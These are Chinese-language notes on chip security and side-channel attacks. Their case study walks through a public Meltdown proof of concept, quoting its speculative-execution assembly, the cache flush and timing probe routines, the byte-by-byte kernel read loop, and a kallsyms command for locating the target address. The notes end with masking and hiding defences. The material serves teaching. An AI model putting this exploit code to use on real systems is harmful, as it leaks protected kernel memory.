芯片安全参考架构
硬件自身的安全能力
防侧信道攻击
功能均衡
时钟加扰
伪操作
逻辑加扰
加噪声
掩码算法
常见的芯片攻击手段
3.1 侧信道攻击
a)概念:利用设备的接口对芯片进行电磁和功耗的分析,无需对芯片进行破坏
b)常见测评、攻击类型:时间分析、功耗分析,电磁辐射分析,光子分析
案例分析:
参考文章:https://www.cnblogs.com/theseventhson/p/13282921.html
github上爆出的一个POC,也是目前来看比较能让大家深入理解meltdown的一个exploit。该POC能利用应用程序读取内核中的linux_proc_banner变量,这个变量存储了Linux内核的版本信息,可以通过命令cat /proc/version获取。cat /proc/version触发了系统调用将linux_proc_banner变量的信息返回给应用程序。而利用meltdown漏洞可以直接从应用程序中访问linux_proc_banner变量,破坏了内存隔离。该POC首先利用“sudo cat /proc/kallsyms | grep “linux_proc_banner””获取linux_proc_banner在内核中的地址,再读取该地址上的值。从该地址读取变量的值正是利用了meltdown漏洞。
总的来说,攻击者要窃取内核数据,包括四个过程:Flush阶段,Speculate阶段,Reload阶段以及Probe阶段。值得注意的是,Reload阶段包含在Speculate阶段中,但由于Reload阶段与Flush阶段是一个完整的缓存侧信道攻击过程,不得不把它单独列出来。整个执行顺序是Flush阶段-Speculate阶段(包含Reload阶段)-Probe阶段,这四个过程我们会在下文一一提到。为便于理解,先讲Speculate阶段。
Speculate阶段执行上一章节的代码序列过程,利用乱序执行将目标内核地址以索引的形式访问探测数组并加载到缓存中。由speculate函数实现。
为了解该过程,首先用gdb调试meltdown可执行程序了解下该exploit的执行过程
可以看到在spcculate函数处会触发段错误,而speculate函数也正是该POC的关键代码,其由一段汇编代码组成:
lea %[target], %%rbx\n\t"
"1:\n\t"
".rept 300\n\t"
"add $0x141, %%rax\n\t"
".endr\n\t"
"movzx (%[addr]), %%eax\n\t"
"shl $12, %%rax\n\t"
"movzx (%%rbx, %%rax, 1), %%rbx\n"
"stopspeculate: \n\t"
"nop\n\t"
:
: [target] "m" (target_array),
[addr] "r" (addr)
: "rax", "rbx"
该函数的目的是欺骗CPU的乱序执行机制。此处是AT&T 汇编语法,AT&T格式的汇编指令是“源操作数在前,目的操作数在后”,而intel格式是反过来的。我们来一条一条分析上述汇编指令。
lea %[target], %%rbx: 把全局变量target_array的地址放到RBX寄存器中,这里的target_ array正是上一章节中的探测数组probe_array, target_array正好设置为256*4096字节大小,这个设置也是有讲究的,一个字节的取值范围正是0-255,共256个数。4096正好是x86架构中一个页面的大小4KB。那target_array数组正好填充256个页面。如下:
#define TARGET_OFFSET 12
#define TARGET_SIZE (1 << TARGET_OFFSET)
#define BITS_READ 8
#define VARIANTS_READ (1 << BITS_READ)
static char target_array[VARIANTS_READ * TARGET_SIZE];
add $0x141, %%rax: 是一条加法指令,会重复300次,这条指令的作用只是测试处理器能乱序执行成功。
movzx (%[addr]), %%eax: 对应上一章节指令序列的第三条指令,将攻击者的目标内核地址所指向的数据放入eax寄存器中,该操作会触发处理器异常
shl $12, %%rax: 对应上一章节指令序列第四条指令,左移12位,也就是乘以4096,大小与target_array数组的列相等,为推测内核地址指向的数据做准备。
movzx (%%rbx, %%rax, 1), %%rbx:对应上一章节指令序列第五条指令,以目标内核地址指向的数据乘以4096作为索引访问target_array数组,这时,不同的数据将会被加载到不同的缓存页面中。这个过程正是进行缓存侧信道攻击的Reload阶段做的事情。
在调用speculate函数窃取数据之前,攻击者会故意冲洗掉target_array的缓存,也就是进行缓存侧信道攻击的Flush阶段,由clflush_target函数实现:
void clflush_target(void)
{
int i;
for (i = 0; i < VARIANTS_READ; i++)
_mm_clflush(&target_array[i * TARGET_SIZE]);
}
执行完movzx (%%rbx, %%rax, 1)指令之后,处理器开始处理异常,攻击者则注册一个信号处理器,直接修改程序指针寄存器,将执行位置跳转到stopspeculate指令继续执行即nop指令。
待Flush阶段与Speculate阶段(包含Reload阶段)做完准备工作后,Probe阶段真正去探测内核地址指向的数据。
也就是执行完speculate函数之后,开始执行check函数,代码如下:
void check(void)
{
int i, time, mix_i;
volatile char *addr;
for (i = 0; i < VARIANTS_READ; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &target_array[mix_i * TARGET_SIZE];
time = get_access_time(addr);
if (time <= cache_hit_threshold)
hist[mix_i]++;
}
}
check函数就是为了检测不同内存数据访问的时间差异来探测被缓存过的数据。简单来说,获取数据就是获取target_array数组索引的过程。由于target_array的大小为256*4096,所以最多只要测试256次,就可以推测出内核地址指向的数据中的一个字节是否被访问过了。注意,这里为什么是一个字节,前面说过一个字节正好最大可以表示255即256个数。所以要推测出内核地址指向的完整数据,需要不断循环这个过程,也就是下一段代码做的事情:
for (score = 0, i = 0; i < size; i++) {
ret = readbyte(fd, addr);
if (ret == -1)
ret = 0xff;
printf("read %lx = %x %c (score=%d/%d)\n",
addr, ret, isprint(ret) ? ret : ' ',
ret != 0xff ? hist[ret] : 0,
CYCLES);
if (i < sizeof(expected) &&
ret == expected[i])
score++;
addr++;
}
而readbyte函数会循环调用clflush_target(),speculate(addr),check()。如下代码:
for (i = 0; i < CYCLES; i++) {
ret = pread(fd, buf, sizeof(buf), 0);
if (ret < 0) {
perror("pread");
break;
}
clflush_target();
speculate(addr);
check();
}
这也正是前面讲到的Flush阶段(对应clflush_target()),Speculate阶段(对应speculate函数,其中包含Reload阶段)以及Probe阶段(对应check())。
至此,攻击者窃据数据过程完成。
下图为该POC的运行结果:
该利用程序是一个一个字节读取linux_proc_banner地址中的内容,可以运行cat /proc/version命令对比结果,只要利用Meltdown窃取的数据足够多,窃取的数据和该命令的运行结果是一致的。可见攻击者成功执行攻击。
d)适用对象:集成电路/芯片、智能卡、智能门锁、物联网终端、车载电子等产品
e)防护原理:消除和降低侧信道信息与密钥的相关性,常用手段:
- 掩码技术:引入随机掩码,平衡“0”和“1”分布。
- 隐藏技术:平均化侧信道信息,降低数据的可区分度
- 混淆技术:降低信噪比(有效侧信道信息)如使用随机时钟等,增加侧信道分析难度。